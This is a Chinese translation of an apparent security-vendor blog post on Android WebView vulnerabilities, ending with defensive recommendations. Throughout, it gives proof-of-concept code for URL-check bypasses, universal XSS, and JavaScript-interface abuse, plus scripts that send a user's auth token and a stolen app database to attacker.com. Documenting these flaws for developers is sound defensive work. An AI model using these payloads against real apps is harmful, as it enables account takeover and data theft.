Android安全清单之WebView漏洞

Android安全清单之WebView漏洞

WebView 是一个可以内置到应用程序中的网络浏览器,代表了 Android 生态系统中使用最广泛的组件;它也受到最大数量的潜在错误的影响。如果存在漏洞,可以加载任意 URL 或执行攻击者控制的 JavaScript 代码,我们通常必须处理身份验证令牌的泄漏、任意文件的盗窃和对任意活动的访问——这甚至可能导致远程代码执行.

Oversecured 提供了自动发现移动应用程序漏洞的解决方案。您可以将过度安全的 Android 和 iOS 漏洞扫描程序集成到您的 CI/CD 中,以主动保护您的应用程序免受这些漏洞的侵害。CI/CD 过程也可以使用插件完全自动化。我们的解决方案将持续监控您的应用程序,并在检测到任何新漏洞时提醒您。

Quick Start开始试用,开始保护您的应用程序,或者您可以联系我们以了解更多信息。

Android安全清单之WebView漏洞

漏洞的典型例子

最常见的版本是在 WebView 中加载任意 URL 没有检查或限制的情况。
假设我们有一个DeeplinkActivity处理诸如myapp://deeplink.

文件 AndroidManifest.xml

    <activity android:name=".DeeplinkActivity">
        <intent-filter>
            <action android:name="android.intent.action.VIEW" />
            <category android:name="android.intent.category.DEFAULT" />
            <data android:scheme="myapp" android:host="deeplink" />
        </intent-filter>
    </activity>

在内部,它具有处理 WebView 深层链接的能力:

    public class DeeplinkActivity extends Activity {
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            handleDeeplink(getIntent());
        }

        private void handleDeeplink(Intent intent) {
            Uri deeplink = intent.getData();
            if ("/webview".equals(deeplink.getPath())) {
                String url = deeplink.getQueryParameter("url");
                handleWebViewDeeplink(url);
            }
        }

        private void handleWebViewDeeplink(String url) {
            WebView webView = ...;
            setupWebView(webView);
            webView.loadUrl(url, getAuthHeaders());
        }

        private Map<String, String> getAuthHeaders() {
            Map<String, String> headers = new HashMap<>();
            headers.put("Authorization", getUserToken());
            return headers;
        }
    }

在这种情况下,攻击者可以通过使用以下代码创建页面来进行远程攻击以获取用户的身份验证令牌:

    <!DOCTYPE html>
    <html>
    <body style="text-align: center;">
        <h1><a href="myapp://deeplink/webview?url=https://attacker.com/">Attack</a></h1>
    </body>
    </html>

当用户点击 时Attack,易受攻击的应用程序会自动https://attacker.com在内置 WebView 中打开,将用户的令牌添加到 HTTP 请求的标头中。因此,攻击者可以窃取它并访问受害者的帐户。

URL 验证不足

开发人员有时会尝试检查 WebView 中加载了哪些 URL,但这样做是错误的。OVAA(Oversecured Vulnerable Android App)包含此漏洞的一个示例。它的扫描报告如下所示:

Android安全清单之WebView漏洞

在本节中,我们将研究对 URL 验证的典型攻击。

只检查主机

这是最典型的错误之一。只检查主机的值,忘记方案:

    private boolean isValidUrl(String url) {
        Uri uri = Uri.parse(url);
        return "legitimate.com".equals(uri.getHost());
    }

攻击者可以利用,例如,在javascriptcontentfile方案绕过检查:

javascript://legitimate.com/%0aalert(1)
file://legitimate.com/sdcard/exploit.html
content://legitimate.com/

在该javascript方案的情况下,攻击者可以在 WebView 中执行任意 JavaScript 代码。在该content方案的情况下,他们可以使用该ContentProvider.openFile(...)方法声明具有指定权限的内容提供者并返回任意文件。该file方案允许他们打开公共目录中的文件。

验证过程中的逻辑错误

我们还遇到了一个错误,即开发人员使用逻辑上不正确的方法来验证 URL:

    private boolean isValidUrl(String url) {
        Uri uri = Uri.parse(url);
        return "https".equals(uri.getScheme()) && uri.getHost().endsWith("legitimate.com");
    }

我们也看到了String.contains(...)使用的方法。在这种情况下,有一种明显的方法可以绕过验证。

使用 HierarchicalUri 和 Java Reflection API 进行攻击

让我们看一个看似安全的 URL 验证示例:

    Uri uri = getIntent().getData();
    boolean isValidUrl = "https".equals(uri.getScheme()) && uri.getUserInfo() == null && "legitimate.com".equals(uri.getHost());
    if (isValidUrl) {
        webView.loadUrl(uri.toString(), getAuthHeaders());
    }

android.net.Uri在Android上被广泛使用,但实际上它是一个抽象类。android.net.Uri$HierarchicalUri是它的子类之一。Java 反射 API 使创建能够绕过此检查的 Uri 成为可能。

文件MainActivity.java

    public class MainActivity extends Activity {
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);

            Uri uri;
            try {
                Class partClass = Class.forName("android.net.Uri$Part");
                Constructor partConstructor = partClass.getDeclaredConstructors()[0];
                partConstructor.setAccessible(true);

                Class pathPartClass = Class.forName("android.net.Uri$PathPart");
                Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
                pathPartConstructor.setAccessible(true);

                Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
                Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
                hierarchicalUriConstructor.setAccessible(true);

                Object authority = partConstructor.newInstance("legitimate.com", "legitimate.com");
                Object path = pathPartConstructor.newInstance("@attacker.com", "@attacker.com");
                uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);
            }
            catch (Exception e) {
                throw new RuntimeException(e);
            }

            Intent intent = new Intent();
            intent.setData(uri);
            intent.setClass(this, TestActivity.class);
            startActivity(intent);
        }
    }

文件TestActivity.java

    public class TestActivity extends Activity {
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);

            Intent intent = getIntent();
            Uri uri = intent.getData();

            Log.d("evil", "Scheme: " + uri.getScheme());
            Log.d("evil", "UserInfo: " + uri.getUserInfo());
            Log.d("evil", "Host: " + uri.getHost());
            Log.d("evil", "toString(): " + uri.toString());
        }
    }

日志将如下所示:

Scheme: https
UserInfo: null
Host: legitimate.com
toString(): https://[email protected]

只有使用安装在同一设备上的第三方应用程序,并且易受攻击的应用程序采用Uri攻击者控制的对象并专门使用该对象,才能进行这种攻击。如果我们进行更改,例如

    Uri uri = Uri.parse(intent.getData().toString());

那么这次攻击就变得不可能了。

重要的!从 API 级别 28(Android 9)开始,禁止使用内部接口——但这可以通过使用RestrictionBypass等工具轻松绕过。

旧版 Android 上的反斜杠

与API 1-24级(最高至Android 7.0)设备,android.net.Uri以及java.net.URL解析器工作不正确。如果我们运行以下代码

    String url = "https://attacker.com\\\\@legitimate.com";
    Log.d("evil", Uri.parse(url).getHost()); // `legitimate.com` printed
    webView.loadUrl(url, getAuthHeaders()); // `https://attacker.com//@legitimate.com` loaded

因此,这种攻击允许我们绕过检查,例如

    private boolean isValidUrl(String url) {
        Uri uri = Uri.parse(url);
        return "https".equals(uri.getScheme()) && "legitimate.com".equals(uri.getHost());
    }

如果您的应用包含minSdkVersion低于 25的值,您需要保护自己免受此攻击。

有几种可能的保护措施:

  • 将 的值设置minSdkVersion为 25 或以上;
  • 使用java.net.URI该类进行验证:URISyntaxException如果在权限部分发现反斜杠,它会抛出一个;
  • 验证 的值authority,而不是host

通用型 XSS

除了明显的情况,攻击者在调用中控制baseUridata参数

    webView.loadDataWithBaseURL("https://google.com/",
            "<script>document.write(document.domain)</script>",
            null, null, null);

并在任意网站上接收 XSS,还有另一个广泛使用的 UXSS 版本。让我们看看导出的代码WebActivity

    public class WebActivity extends Activity {
        private WebView webView;

        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.web_activity);

            this.webView = findViewById(R.id.webView);
            this.webView.getSettings().setJavaScriptEnabled(true);

            this.webView.loadUrl(getIntent().getDataString());
        }

        protected void onNewIntent(Intent intent) {
            super.onNewIntent(intent);
            this.webView.loadUrl(intent.getDataString());
        }
    }

在这种情况下onCreate,在第一次启动 Activity 时onNewIntent调用,并且在每次 Activity 收到新的 Intent 时调用。以下代码允许在易受攻击的应用程序中实现 UXSS:

    Intent intent = new Intent();
    intent.setData(Uri.parse("https://google.com/"));
    intent.setClassName("com.victim", "com.victim.WebActivity");
    startActivity(intent);

    new Handler().postDelayed(() -> {
        intent.setData(Uri.parse("javascript:document.write(document.domain))"));
        startActivity(intent);
    }, 3000);

首次运行时,它会打开一个域,必须在其上下文中执行任意 JavaScript 代码。第二次,使用该javascript方案执行此代码。

JavaScript 代码注入

开发人员经常不安全地将数据与 JavaScript 代码连接起来,导致加载的域上出现 XSS:

    this.webView.loadUrl("https://legitimate.com/");
    String page = getIntent().getData().getQueryParameter("page");
    this.webView.evaluateJavascript("loadPage('" + page + "')", null);

或使用javascript方案:

    this.webView.loadUrl("javascript:loadPage('" + page + "')");

如果您使用 JavaScript 代码连接数据,我们建议您使用 JSON 方法来清理数据。

这种攻击类似于网络世界中基于 DOM 的 XSS。但是在Android上,根据我们下面将要解释的WebView配置,有可能进一步利用该漏洞。

对内部 URL 处理程序的攻击

许多 Android 应用程序使用该WebViewClient.shouldOverrideUrlLoading(...)方法使用自定义 URL 处理程序,但它们的功能通常不安全地实现:

    class CustomClient extends WebViewClient {
        public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
            Uri uri = request.getUrl();
            String url = uri.toString();
            if (url.startsWith("intent://")) {
                try {
                    Intent intent = Intent.parseUri(url, 0);
                    view.getContext().startActivity(intent);
                } catch (URISyntaxException e) {
                }
                return true;
            }

            String page;
            if ((page = uri.getQueryParameter("page")) != null) {
                view.evaluateJavascript("loadPage('" + page + "')", null);
                return true;
            }
            return super.shouldOverrideUrlLoading(view, request);
        }
    }
    this.webView.setWebViewClient(new CustomClient());
    this.webView.loadUrl(attackerControlledUrl);

在加载每个 URL 的那一刻,WebView 会调用该shouldOverrideUrlLoading方法来检查它是需要由应用程序处理还是由 WebView 本身处理。通常,这用于启动附加深层链接列表的活动或处理程序。值得注意的是,即使攻击者无法绕过加载任意域的检查,他们仍然可以尝试利用处理程序。

例如,在这个例子中,攻击者可以发起任意活动(我们已经在别处更详细地分析了这种攻击)并通过打开https://legitimate.com/?page='-alert(1)-'.

对 JavaScript 接口的攻击

如果该应用程序向 WebView 添加 JavaScript 接口,并且攻击者可以在此 WebView 中执行任意代码,则攻击者可以访问它们。通常,JS 接口分为两类:第一类返回数据(例如地理位置或用户的身份验证令牌),第二类执行操作(例如拍照或向指定端点发送查询)。

    class JSInterface {
        @JavascriptInterface
        public String getAuthToken() {
            //...
        }

        @JavascriptInterface
        public void takePicture(String callback) {
            //...
        }
    }
        this.webView.addJavascriptInterface(new JSInterface(), "JSInterface");
        this.webView.loadUrl(attackerControlledUrl);

在这种情况下,WebView 会自动创建一个具有指定名称和方法的 JavaScript 对象,这些方法也是从 Java 代码中导入的。要从此示例中获取用户的令牌,我们需要做的就是运行以下代码:

    <script type="text/javascript">
        location.href = "https://attacker.com/?leaked_token=" + JSInterface.getAuthToken();
    </script>

启用从文件 URL 进行通用/文件访问的攻击

在打开文件 URL 的通用/文件访问的情况下,这种攻击是可能的:

    this.webView.getSettings().setAllowFileAccessFromFileURLs(true);

或者

    this.webView.getSettings().setAllowUniversalAccessFromFileURLs(true);

攻击者可以将任意 URL 加载到 WebView 中:

    this.webView.loadUrl(attackerControlledUrl);

在这种情况下,攻击者可以使用 XHR 查询来获取易受攻击的应用程序可以访问的任意文件的内容:

    <script type="text/javascript">
        function theftFile(path, callback) {
          var req = new XMLHttpRequest();

          req.open("GET", "file://" + path, true);
          req.onload = function(e) {
            callback(req.responseText);
          }
          req.onerror = function(e) {
            callback(null);
          }
          req.send();
        }

        var file = "/data/user/0/com.victim/databases/user.db";

        theftFile(file, function(contents) {
            location.href = "https://attacker.com/?data=" + encodeURIComponent(contents);
        });
    </script>

OVAA 的扫描报告包括有关此漏洞的通知示例:

Android安全清单之WebView漏洞

对 WebResourceResponse 的攻击

我们已经在Android 中进行了这种攻击:探索 WebResourceResponse 中的漏洞

对内容提供商的攻击

content://默认情况下,内容访问(或对任何URI 的访问)是打开的,这意味着 WebView 可以使用用户设备上的应用程序可用的任何内容提供程序。我们遇到过漏洞,提供商不仅记录或提供数据,而且还执行危险操作:

    public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
        if ("/debug".equals(uri.getPath())) {
            FileUtils.dumpData(); // copies all files from the internal directory to the SD card
            return null;
        }
        //...

在此示例中,可以将类似 URL 加载content://provider.authority/debug到 WebView 中,然后读取 SD 卡上的转储数据。

因此,如果未明确关闭此设置,则您需要注意内容提供者究竟在做什么——尤其是那些未导出的内容提供者。

为第三方站点安装 cookie

有时 WebView 使用 cookie 进行授权而不是像Authorization. 为此,应用程序使用CookieManager并在 cookie 中为 URL 设置一个令牌,该令牌可由攻击者控制,然后打开它:

    String attackerControlledUrl = getIntent().getDataString();

    CookieManager manager = CookieManager.getInstance();
    manager.setCookie(attackerControlledUrl, "token=" + getUserToken());
    
    webView.loadUrl(attackerControlledUrl);

在这种情况下,您必须首先验证 URL,然后安装 cookie。例如,如果为攻击者的域安装了一个敏感的 cookie,但没有立即加载,那么这仍然构成威胁,因为这个域可以在应用程序的其他地方打开(请记住,在一个应用程序中,所有的 WebView 都有一个公共的 cookie 存储如果使用默认配置)。

此架构的最佳解决方案是创建受信任域列表并为它们预安装授权 cookie。

建议

为了防止漏洞,或至少减少其潜在影响,我们建议对您使用的每个 WebView 执行以下操作:

  • 通过调用关闭地理定位WebSettings.setGeolocationEnabled(false)
  • 通过调用关闭内容访问WebSettings.setAllowContentAccess(false)
  • WebSettings.setAllowFileAccess(false)如果您的minSdkVersion年龄在 29 或以下,请致电关闭文件访问;
  • WebSettings.setAllowFileAccessFromFileURLs(false)如果您minSdkVersion是 15 或以下,请通过调用关闭文件 URL 的文件访问;
  • WebSettings.setAllowUniversalAccessFromFileURLs(false)如果您minSdkVersion是 15 或以下,请通过调用从文件 URL 关闭通用文件访问;
  • 如果在 WebView 中加载了任何外部链接,则必须验证正确加载的来源 – 检查方案和主机;
  • 无论在何处使用外部获取的数据调用 JavaScript,您只需确保它已被清理;
  • 如果内部处理程序将 URL 更改为 Intent 对象,则必须重置后者的组件和选择器字段。为提高安全性,请验证使用给定 Intent 打开的活动是否已导出,并且未为其设置权限,或者protectionLevel设置为normal;
  • 如果应用有自定义植入WebResourceResponse,则需要确保攻击者无法获取任意文件的内容;
  • 确保在发布版本中关闭 web 内容选项的调试;
  • 不要为未经验证的域安装敏感 cookie。

防止这些漏洞

跟踪安全性可能很困难,尤其是在大型项目中。您可以使用 Oversecured 移动漏洞扫描程序,因为它可以跟踪 Android 上的所有已知安全问题,包括使用 WebView 时的错误。我们会检查您的应用程序是否订阅了此处描述的漏洞,以及其他更罕见和更奇特的漏洞。要开始测试您的应用程序,请使用快速入门联系我们

from

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注